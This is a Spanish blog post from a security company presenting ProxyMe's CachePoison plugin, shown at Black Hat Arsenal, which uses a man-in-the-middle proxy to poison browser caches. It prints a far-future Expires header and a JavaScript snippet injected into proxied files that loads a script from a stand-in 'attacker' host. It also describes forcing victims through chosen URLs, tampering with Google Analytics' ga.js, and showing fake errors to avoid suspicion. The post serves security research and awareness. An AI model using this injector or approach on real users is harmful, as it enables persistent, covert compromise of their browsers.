Nueva herramienta ProxyMe y ataques de cache poisoning (y II)

ElevenPaths    21 agosto, 2014
ProxyMe es una aplicación proxy desarrollada por nuestro compañero Manuel Fernández de Eleven Paths. Fue presentada durante el evento Arsenal del congreso de seguridad Black Hat, que se celebró entre los días 2 y 7 de agosto del 2014 en Las Vegas. Ya está disponible para su descarga con el código fuente desde https://code.google.com/p/proxyme/.

El plugin «CachePoison.dll» utiliza un ataque conocido como «Cache poisoning». Fundamentalmente, consiste en forzar a un usuario a que su navegador cachee determinado contenido, al que normalmente se le suele añadir código malicioso para que sea ejecutado por el cliente.

Para conseguir que el contenido sea cacheado (y se consiga una permanencia del código malicioso en el equipo cliente) es necesario realizar previamente un ataque de «man-in-the-middle». De esta tarea se encarga ProxyMe. El plugin «CachePoison.dll» se encarga a su vez de modificar la respuesta añadiendo la siguiente cabecera HTTP:

Expires: Thu, 25 Dec 2100 11:00:00 GMT

De este modo, cuando el cliente recibe la respuesta (modificada por el plugin), la almacena en caché teóricamente hasta el 25 de diciembre del 2100, lo que a efectos prácticos es de forma permanente. El plugin también añade las siguientes líneas de código a todos los ficheros javascript por donde el usuario navegue durante el tiempo que utilice el servidor proxy. Esto le permitirá disfrutar del control sobre ese equipo a un hipotético atacante :

function payload()
{
   x=document.getElementById("poison");
   if (x == null) 
   { 
       var script= document.createElement('script');
       script.src='http://attacker/js.js';
       document.getElementsByTagName('html')[0].appendChild(script);
   }
}
payload();

Este código javascript carga de forma dinámica en el árbol DOM HTML una nueva etiqueta «script» que carga a su vez otro fichero localizado en «http://attacker/js.js». Esta URL sería controlada por el atacante y contendría el código deseado.

Esquema del flujo de ataque

La URL controlada por el atacante es configurable. Al igual que ProxyMe, el plugin dispone de un pequeño fichero de configuración en «/Plugins/ cachepoison.cfg».

Fichero de configuración del plugin

La configuración es muy sencilla. Dispone de tres parámetros: «hookUrl», «mode» y «sandboxpoison». Los modos en los que puede trabajar son «open» y «sandbox». En ambos casos será necesario introducir una URL con un javascript controlado por el atacante en el parámetro «hookUrl».

Modo open y sandbox

La principal diferencia entre los modos «open» y «sandbox» es:

  • Modo «open»: permite que los usuarios puedan navegar como si de un proxy normal se tratara y sin ninguna limitación. En este caso el plugin «infectará» todos los ficheros javascript que solicite el navegador del usuario. Pero es importante recordar que esto puede suponer un riesgo que el atacante no tiene por qué asumir. La razón es que si se usa este modo, el servidor proxy del atacante queda expuesto para cualquier uso, por lo que podría ser utilizado para realizar otro tipo de actividad. 
  • El modo «sandbox»: Solventa ese riesgo y limita la navegación a las URL indicadas en el campo «sandboxPoison». Adicionalmente se fuerza al navegador del cliente a navegar por esas direcciones para asegurar su infección. El proxy muestra un mensaje de error para evitar que el usuario sospeche. 

Fuerza al cliente a almacenar en caché las URLs indicadas

De este modo los ficheros indicados serán cacheados en el navegador de los usuarios que hayan navegado a través del servidor proxy. En el ejemplo que se muestra a continuación se pueden ver las últimas líneas que han sido añadidas al fichero de Google Analytics. El fichero de Google Analytics resulta de especial interés en este ataque debido a que este se carga desde una gran cantidad de sitios web, por lo que cualquier sitio que utilice este javascript como recurso se verá afectado.

Fichero con contenido malicioso cacheado

Una vez modificado y cacheado el contenido, el usuario queda a la merced del atacante. En este estadio del ataque, ya no importa que el cliente deje de utilizar el proxy o que cierre el navegador… el contenido ha sido cacheado y pueden pasar incluso años hasta que deje de encontrase en la caché (a no ser que el usuario limpie la caché explícitamente).

Como pequeña demostración, se muestra en la imagen cómo al acceder a una página legítima como puede ser https://www.elevenpaths.com (que utiliza el recurso externo https://ssl.google-analytics.com/ga.js) se cargaría el código malicioso, que a su vez haría una inclusión del código localizado en https://www.itsm3.com/hook.js. En este caso, solo se muestra un mensaje de alerta.

Carga del contenido malicioso cuando ya está almacenado en caché

Esta es únicamente una de las muchas utilidades que se le puede dar a ProxyMe. Si se desea conocer más o colaborar con el desarrollo de plugins, puedes contactar con el autor desde la página del proyecto.

BlackHat Arsenal

En cuanto al evento Arsenal en sí, resultó un éxito. Tanto por las distintas herramientas que han sido mostradas como por la representación española (cada año más numerosa y representativa). En esta edición se presentaron las herramientas «made in Spain»: Voyeur, WhatsApp Privacy Guard y ProxyMe,  de la mano de Juan Garrido, Jaime Sanchez y Manuel Fernández respectivamente.

De izquierda a derecha: Jaime Sanchez, Nabil Ouchn, Andres Riancho, Andreas Schmidt, Juan Garrido y Manuel Fernández

Pero en Arsenal, (y mucho menos en Las Vegas) no todo son conferencias. El congreso BlackHat es un lugar magnifico para realizar networking con auténticos genios de la informática con los que compartir conocimientos, anécdotas… y fiesta.

Nueva herramienta ProxyMe y ataques de cache poisoning (I)

Manuel Fernández
manuel.fernandez@11paths.com

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *